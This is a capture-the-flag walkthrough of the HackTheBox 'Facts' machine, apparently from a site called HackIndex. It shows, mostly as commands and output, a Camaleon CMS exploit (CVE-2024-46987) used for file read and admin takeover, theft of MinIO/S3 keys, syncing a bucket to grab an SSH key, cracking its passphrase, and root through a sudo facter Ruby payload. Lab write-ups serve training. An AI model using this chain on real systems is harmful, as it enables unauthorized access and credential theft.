Skip to content
HackIndex logo

HackIndex

Facts Writeup - HackTheBox

Easy Linux

Last updated June 16, 2026 2 min read

Joshua

HackIndex Creator

Discovery

┌──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate 10000 $TARGET_IP
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
54321/tcp open  unknown

Adding facts.htb to /etc/hosts based on the redirect from port 80, then running service detection:

┌──(kali㉿kali)-[~]
└─$ nmap -sCV -p 22,80,54321 $TARGET_IP
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
54321/tcp open  http    Golang net/http server
|_http-server-header: MinIO

Port 54321 identifies as MinIO — a self-hosted S3-compatible object storage server. The XML error responses confirm the S3 API behavior. Port 80 redirects to facts.htb.

The site is a facts/trivia CMS. Page source reveals camaleon_cms in an OG image path. VHost enumeration returns nothing useful. The attack surface is: the CMS on port 80 and the MinIO API on port 54321.

Initial Access

Camaleon CMS — File Read and Admin Takeover (CVE-2024-46987)

Registration is open at http://facts.htb/admin/register. After creating an account, CVE-2024-46987 provides arbitrary file read for authenticated users. The exploit from github.com/Goultarde/CVE-2024-46987 handles authentication and the path traversal automatically.

┌──(kali㉿kali)-[~]
└─$ python3 CVE-2024-46987.py -u http://facts.htb \
-l testtesttest -p testtesttest \
-v '/etc/passwd'
[*] Récupération du token sur http://facts.htb/admin/login
[*] Authentification réussie.
root:x:0:0:root:/root:/bin/bash
<snip>
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
<snip>

Two non-root login shells: trivia and william. Reading /root/root.txt returns HTTP 500 — root isn't reachable directly via this vector.

The same CVE release includes a separate privilege escalation within the CMS itself — a CSRF-based account takeover that promotes a registered user to admin by submitting a crafted password change request targeting a privileged user's profile:

┌──(kali㉿kali)-[~]
└─$ python3 exp.py http://facts.htb testtesttest testtesttest
[+] Login successful
[i] Version detected: 2.9.0 (< 2.9.1) - appears to be vulnerable version
[+] authenticity_token: hl5NCx3zaGccGsrK1wcad6...
[+] Submit successful, you should be admin

MinIO Credential Extraction

Navigating to the admin panel at http://facts.htb/admin/settings/site exposes the S3 backend configuration in plaintext:

Aws s3 access key:      $MINIO_ACCESS_KEY
Aws s3 secret key:      $MINIO_SECRET_KEY
Aws s3 bucket name:     randomfacts
Aws s3 region:          us-east-1
Aws s3 bucket endpoint: http://localhost:54321

Configuring the AWS CLI against the MinIO endpoint:

┌──(kali㉿kali)-[~]
└─$ aws configure --profile facts
┌──(kali㉿kali)-[~]
└─$ # enter access key, secret key, region us-east-1
 
┌──(kali㉿kali)-[~]
└─$ aws s3 ls --endpoint-url http://facts.htb:54321 --profile facts
2025-09-11 14:06:52 internal
2025-09-11 14:06:52 randomfacts

Two buckets. randomfacts holds the CMS media files. internal is unexpected:

┌──(kali㉿kali)-[~]
└─$ aws s3 ls s3://internal --endpoint-url http://facts.htb:54321 --profile facts
PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-08 19:45:13        220 .bash_logout
2026-01-08 19:45:13       3900 .bashrc
2026-01-08 19:47:17        807 .profile

This is a user's home directory synced to S3. The .ssh/ prefix means there's a keypair inside. Syncing the entire bucket locally:

┌──(kali㉿kali)-[~]
└─$ aws s3 sync s3://internal . \
--endpoint-url http://facts.htb:54321 --profile facts
download: s3://internal/.ssh/authorized_keys to .ssh/authorized_keys
download: s3://internal/.ssh/id_ed25519 to .ssh/id_ed25519

SSH Key Cracking

The private key is passphrase-protected:

┌──(kali㉿kali)-[~]
└─$ ssh2john id_ed25519 > id_ed25519.hash
┌──(kali㉿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt id_ed25519.hash
dragonballz      (id_ed25519)
1g 0:00:00:52 DONE

Strip the passphrase and connect as trivia — the user whose home directory was exposed in the internal bucket:

┌──(kali㉿kali)-[~]
└─$ cp id_ed25519 id_ed25519_nopass
┌──(kali㉿kali)-[~]
└─$ ssh-keygen -p -P '$ID_ED25519_PASSPHRASE' -N '' -f id_ed25519_nopass
┌──(kali㉿kali)-[~]
└─$ ssh trivia@$TARGET_IP -i id_ed25519_nopass
trivia@facts:~$

Privilege Escalation

┌──(kali㉿kali)-[~]
└─$ sudo -l
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

facter is a Ruby-based system facts tool. It supports loading custom fact definitions via --custom-dir, and those definitions are executed as Ruby code. With sudo, custom Ruby runs as root.

Creating the payload in the home directory:

┌──(kali㉿kali)-[~]
└─$ cat > /home/trivia/shell.rb << 'EOF'
Process.euid == 0 or abort "Need root privileges"
exec ENV["SHELL"] || "/bin/bash", "-l"
EOF
┌──(kali㉿kali)-[~]
└─$ sudo facter --custom-dir=/home/trivia x
root@facts:/home/trivia#

facter loads every .rb file in the custom directory before processing the requested fact. The script checks euid == 0 to confirm it's running with root privileges, then execs a root bash session.

References